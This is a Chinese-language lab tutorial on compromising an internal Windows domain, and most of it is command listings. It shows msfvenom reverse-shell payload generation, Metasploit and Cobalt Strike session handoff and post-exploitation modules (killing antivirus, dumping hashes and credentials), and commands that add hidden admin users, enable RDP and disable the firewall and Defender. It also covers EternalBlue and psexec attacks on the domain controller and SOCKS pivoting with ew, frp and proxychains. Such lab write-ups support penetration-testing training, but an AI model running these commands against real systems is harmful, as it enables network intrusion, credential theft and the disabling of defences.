內網域滲透分析(實戰總結)
一、測試環境搭建
靶場常見的網絡拓撲環境如下:

web 服務器安裝有雙網卡,一塊網卡連接互聯網,一塊網卡連接內網,內網里的機器是無法直接連接互聯網的。我們使用 vmware 來模擬上述環境,配置網卡如下:

我們甚至還可將 web 服務器的上網網卡 NAT 改為自定義 VMnet3,將攻擊機的網卡也改為 VMnet3,這樣的好處是整個滲透測試過程既保證了網絡都是通的,又保證了 ip 不會發生變化,利于我們持續的作滲透,ip 自定義為我們便于記憶數字,提高我們的效率。(有時候 6 個以上虛擬機同時開著,時不時忘了 ip 又得來回切換真的很痛苦)
二、如何拿下 web 服務器
搭建好測試環境后,第一步是開始對 web 服務器進行滲透。因為 web 服務器同時連接了外網和內網,所以必須首先拿下。這里有關 web 服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種 cms 漏洞,總之都是可以找到寫入 webshell 的方法。對于靶場來說,最直接的方法就是查找網站的指紋,然后去找對應的漏洞進行利用。成功寫入 webshell 后,接著就要上傳木馬控制 web 服務器,這里可以用 Metasploit(以下簡稱:MSF)或 Cobaltstrike(以下簡稱 CS)。
用 nmap 掃描下端口還是很必要的:
nmap -sS -n -A 192.168.167.130
效果還是很不錯的,雖然 web 服務器的防火墻和 360 都是開著的;

1、MSF 生成木馬控制服務器的方法
我們以 windows 木馬為例進行講解:
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134 LPORT=4444 -f exe > shell.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.164.134 set lport 4444 exploit
復制代碼

meterpreter 的進入與退出:

常規動作先提權;

執行run post/windows/manage/enable_rdp模塊來打開遠程桌面;

2、CS 生成木馬控制服務器的方法
啟動 CS 服務器端:

啟動 CS 客戶端:

配置好監聽器:

生成后門、上傳、執行一氣呵成;

成功連接,由于受害機默認 60 秒進行一次回傳,為了實驗效果我們這里把時間設置成 1,sleep 1;

CS 安裝插件,擴展其功能:

提權成功,可看到多出一個通道:

3、MSF 與 CS 會話互通
因為兩個工具不同的特點,想同時使用也是可以的,只需要進行下會話互傳。
(1)MSF 派生給 CS
先創建監聽器:

打開 msf,使用 payload_inject 模塊注入到 cobalt strike,注意使用的 payload 要和 cs 的一致為 reverse_http,因為 cs 監聽的是 reverse_http。
meterpreter > background msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject # 設置與cs相同的payload; msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128 msf5 exploit(windows/local/payload_inject) > set lport 4444 # 設置剛才獲得session msf5 exploit(windows/local/payload_inject) > set session 1 msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true msf5 exploit(windows/local/payload_inject) > run
復制代碼

(2)CS 派生給 MSF
這里進行一個操作,將會話分給 msf 一個;
msf如下操作: msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.164.134 lhost => 192.168.164.134 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
復制代碼
CS 這邊先新增監聽器,然后選增加會話,即 spawn:


成功后:

二、內網的橫向移動
打入內網后,首先要進行的就是信息收集,弄清楚內網有哪些網段,域控是哪個,域用戶有哪些等重要信息,為后續的滲透提供支持。
1、內網信息收集
(1)dos 命令的方式
先進行基本信息的收集:在提權成功的情況下,以 system 的身份來運行下列命令,大部分都有回顯,不會報錯;
ipconfig /all 查看本機ip,所在域 route print 打印路由信息 net view 查看局域網內其他主機名 arp -a 查看arp緩存 net start 查看開啟了哪些服務 net share 查看開啟了哪些共享 net share ipc$ 開啟ipc共享 net share c$ 開啟c盤共享 net use \\192.168.xx.xx\ipc$ "" /user:"" 與192.168.xx.xx建立空連接 net use \\192.168.xx.xx\c$ "密碼" /user:"用戶名" 建立c盤共享 dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盤user目錄下的文件 net config Workstation 查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域 net user 查看本機用戶列表 net time /domain #查看時間服務器,判斷主域,主域服務器都做時間服務器 net user /domain 查看域用戶 net localgroup administrators 查看本地管理員組(通常會有域用戶) net view /domain 查看有幾個域 net user 用戶名 /domain 獲取指定域用戶的信息 net group /domain 查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作) net group 組名 /domain 查看域中某工作組 net group "domain admins" /domain 查看域管理員的名字 net group "domain computers" /domain 查看域中的其他主機名 net group "doamin controllers" /domain 查看域控制器(可能有多臺)
復制代碼
滲透過程中可能用到的 dos 命令也在這一并講了:
net user hack hack123 /add net localgroup administrator hack /add net localgroup "Remote Desktop Users" hack /add 開啟3389; REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh advfirewall set allprofiles state off #關閉防火墻 net stop windefend
復制代碼
(2)MSF 模塊信息收集
抓取密碼的方法:


ps 命令查看進程 ID,一般選擇 explorer.exe 對應的 PID:

探測域內存活主機:

域控列表:

所有存活主機:


更多的就不一一演示和截圖了,以列表的方式提供給大家,在實際滲透中靈活選用:
Post 后滲透模塊
run post/windows/manage/migrate #自動進程遷移 run post/windows/gather/checkvm #查看目標主機是否運行在虛擬機上 run post/windows/manage/killav #關閉殺毒軟件 run post/windows/manage/enable_rdp #開啟遠程桌面服務 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列舉當前登錄的用戶 run post/windows/gather/enum_applications #列舉應用程序 run post/windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼 run post/windows/gather/smart_hashdump #dump出所有用戶的hash run getgui -u hack -p 123 run post/windows/gather/enum_patches 補丁信息 run post/multi/recon/local_exploit_suggester 查詢可利用的漏洞 有時候無法使用后滲透模塊添加用戶 可以使用shell自主添加 net user hack Zyx960706 /add net localgroup administrator hack /add netsh advfirewall set allprofiles state off #關閉防火墻 net stop windefend run post/windows/gather/enum_patches 補丁信息 run post/multi/recon/local_exploit_suggester 查詢可利用的漏洞
復制代碼
域內存活主機探測(系統、端口)
auxiliary/scanner/discovery/udp_sweep #基于udp協議發現內網存活主機 auxiliary/scanner/discovery/udp_probe #基于udp協議發現內網存活主機 auxiliary/scanner/netbios/nbname #基于netbios協議發現內網存活主機 auxiliary/scanner/portscan/tcp #基于tcp進行端口掃描(1-10000),如果開放了端口,則說明該主機存活
復制代碼
端口掃描
auxiliary/scanner/portscan/tcp #基于tcp進行端口掃描(1-10000) auxiliary/scanner/portscan/ack #基于tcp的ack回復進行端口掃描,默認掃描1-10000端口 端口掃描有時會使會話終端,所以可以上傳nmap后在shell中使用nmap掃描。但是要記得清理
復制代碼
服務掃描
auxiliary/scanner/ftp/ftp_version #發現內網ftp服務,基于默認21端口 auxiliary/scanner/ssh/ssh_version #發現內網ssh服務,基于默認22端口 auxiliary/scanner/telnet/telnet_version #發現內網telnet服務,基于默認23端口 auxiliary/scanner/dns/dns_amp #發現dns服務,基于默認53端口 auxiliary/scanner/http/http_version #發現內網http服務,基于默認80端口 auxiliary/scanner/http/title #探測內網http服務的標題 auxiliary/scanner/smb/smb_version #發現內網smb服務,基于默認的445端口 use auxiliary/scanner/mssql/mssql_schemadump #發現內網SQLServer服務,基于默認的1433端口 use auxiliary/scanner/oracle/oracle_hashdump #發現內網oracle服務,基于默認的1521端口 auxiliary/scanner/mysql/mysql_version #發現內網mysql服務,基于默認3306端口 auxiliary/scanner/rdp/rdp_scanner #發現內網RDP服務,基于默認3389端口 auxiliary/scanner/redis/redis_server #發現內網Redis服務,基于默認6379端口 auxiliary/scanner/db2/db2_version #探測內網的db2服務,基于默認的50000端口 auxiliary/scanner/netbios/nbname #探測內網主機的netbios名字
復制代碼
(3)CS 模塊進行信息收集
使用 portscan 命令:ip 網段 — ports 端口 — 掃描協議(arp、icmp、none)— 線程(實戰不要過高)。
portscan 192.168.52.0/24 445 arp 200

點擊工具欄的 View–>Targets,查看端口探測后的存活主機。(Targets 可自行添加)



抓密碼:

這里再介紹一個收集密碼工具-LaZagne,每個軟件都使用不同的技術(純文本,API,自定義算法,數據庫等)存儲其密碼,這個工具是用來獲取存儲在本地計算機上的密碼,諸如瀏覽器密碼等等。

2、代理的設置
發現目標后,為方便后續工具的使用,需要先搭建代理,將 web 服務器搭建成 socks5 代理服務器,內網滲透里先把網調通是最關鍵的,所以下面會多講點代理的問題;
(1)meterpreter 搭建反向 socks4 代理
run get_local_subnets #查看路由段 run autoroute -s 192.168.52.0/24 #添加路由至本地 run autoroute -p #打印當前路由信息
復制代碼

退出來連接同樣是存在的,可以放心操作;

添加路由的目的是為了讓 MSF 其他模塊能訪問內網的其他主機,即 52 網段的攻擊流量都通過已滲透的這臺目標主機的 meterpreter 會話來傳遞。
添加 socks4a 代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務。(添加路由一定要在掛代理之前,因為代理需要用到路由功能)
編輯本地的代理服務:
vim /etc/proxychains.conf




測試一下:
proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必須要有

proxychains是無法代理icmp流量的,所以ping是沒有用的。
補充一個meterpreter反彈單個端口的用法:
portfwd 是 meterpreter 提供的一種基本的端口轉發。porfwd 可以反彈單個端口到本地,并且監聽.使用方法如下:
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
復制代碼
使用實例介紹:
反彈 10.1.1.129 端口 3389 到本地 2222 并監聽那么可以使用如下方法:
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389 [*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389 meterpreter > portfwd 0: 0.0.0.0:2222 -> 10.1.1.129:3389 1 total local port forwards.
復制代碼
接著連接本地 2222 端口即可連接受害機器 10.1.1.129 3389 端口,如下:
root@kali:~# rdesktop 127.1.1.0:2222
(2)ew、frp 搭建代理
了解清楚代理的原理之后,還可以用第三方的軟件來試試,比如 ew,frp;
在這里把 kali 的攻擊機可以理解為公網,web 服務器那臺理解為內網,下面以 ew 測試:
kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
該命令的意思是說公網機器監聽 1080 和 1024 端口。等待攻擊者機器訪問 1080 端口,目標機器訪問 1024 端口。
目標機器執行如下命令:
win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024
修改 kali 里 proxychains 的配置文件/etc/c.conf:

上面的配置完后,可以開始測試了:

利用 frp 搭建 socks 代理
上傳 frp 客戶端及配置文件到目標機器:

啟動客戶端:

實踐當中多用反向代理,正向的容易被防火墻攔住,所以都是將程序的服務器端架在公網,客戶端在內網,做橫向移動。
(3)CS 搭建代理
CS 添加一個代理:建立了一條由攻擊機到 web 服務器的 socks 通道,socks 的服務端在攻擊機,也是反向代理;

View > Proxy Pivots 復制代理鏈接到 MSF 中;

msf5 > setg Proxies socks4/5:ip:port #讓msf所有模塊的流量都通過此代理走。(setg全局設置) msf5 > setg ReverseAllowProxy true #允許反向代理,通過socks反彈shell,建立雙向通道。
復制代碼
這里 ip 需要修改為 CS 服務器的 ip。
3、域成員和域控的滲透
(1)MSF 的利用
開放了 445 端口,所以利用 use auxiliary/scanner/smb/smb_version 可以掃描系統版本,掃描結果是 win2003;

ms08-067 沒打下來,可以用 use auxiliary/admin/smb/ms17_010_command 執行一些系統權限的命令,添加管理員用戶嘗試 3389 登錄;
use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set command net user test hongrisec@2019 /add #添加用戶 run #成功執行 set command net localgroup administrators test /add #管理員權限 run #成功執行 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' run #成功執行
復制代碼
遠程連接一下:


還可以使用 exploit/windows/smb/ms17_010_psexec 嘗試去打一個 shell 回來:
use exploit/windows/smb/ms17_010_psexec set rhosts 192.168.52.141 set payload windows/meterpreter/bind_tcp set lhost 192.168.164.134 set lport 6666 set SMBPass hongrisec@2019 set SMBUser test run
復制代碼

因為之前抓到了域管理的賬號密碼所以直接使用 exploit/windows/smb/psexec 模塊拿下域控,且是管理員權限;

還可以使用的模塊有:
exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/psexec_psh exploit/windows/smb/eternalblue_doublepulsar
復制代碼
msf 木馬穿透內網
用 msf 生成一個內網的木馬,此處內網 ip10 段是不能直接連接 192 段的;將木馬種在內網 10 段的機器上;
PC 服務器內網 IP;

web 服務器雙網卡;

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.167.131 set lport 7777 exploit
復制代碼

在 web 服務器用 lcx 工具執行端口轉發:

在 PC 端運行木馬,然后成功回連;

還可以用 msf 自帶的通道,將路由添加上,其實就已經是通的了;
run get_local_subnets #查看路由段 run autoroute -s 10.10.10.0/24 #添加路由至本地 run autoroute -p #打印當前路由信息
復制代碼

借用的是 session 3 的通道,而 session 3 是雙網卡,能通內網的;
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.10.10.80 set lport 6677 exploit
復制代碼
在這里復用 exploit/multi/handler 模塊,進行重新設置是可以的,將端口分開使用不要重復;

運行程序后成功上線:兩個會話同時存在,沒有沖突;

(2)CS 的利用
獲取憑據后,可以利用 psexec 傳遞登錄;



在 Beacon 中可以看到執行的命令,并會顯示成功登錄的 ip,之后就便會上線 CobalStrike。這樣就控制了多個主機的系統權限。
因為 CS 的 smb 的 beacon 不穩定,所以考慮作個代理;CS 代理功能很強大,直接帶的有;




對于域成員,還可以使用 psexec_psh;


至此,整個總結就告一段落了,主要還是集中在了 MSF、CS 工具的熟練運用,代理的靈活變通,域滲透的基本思路及方法。有關域滲透更多的諸如黃金票據、白銀票據的偽造,權限維持等更高階的內容,將在今后繼續深入探討。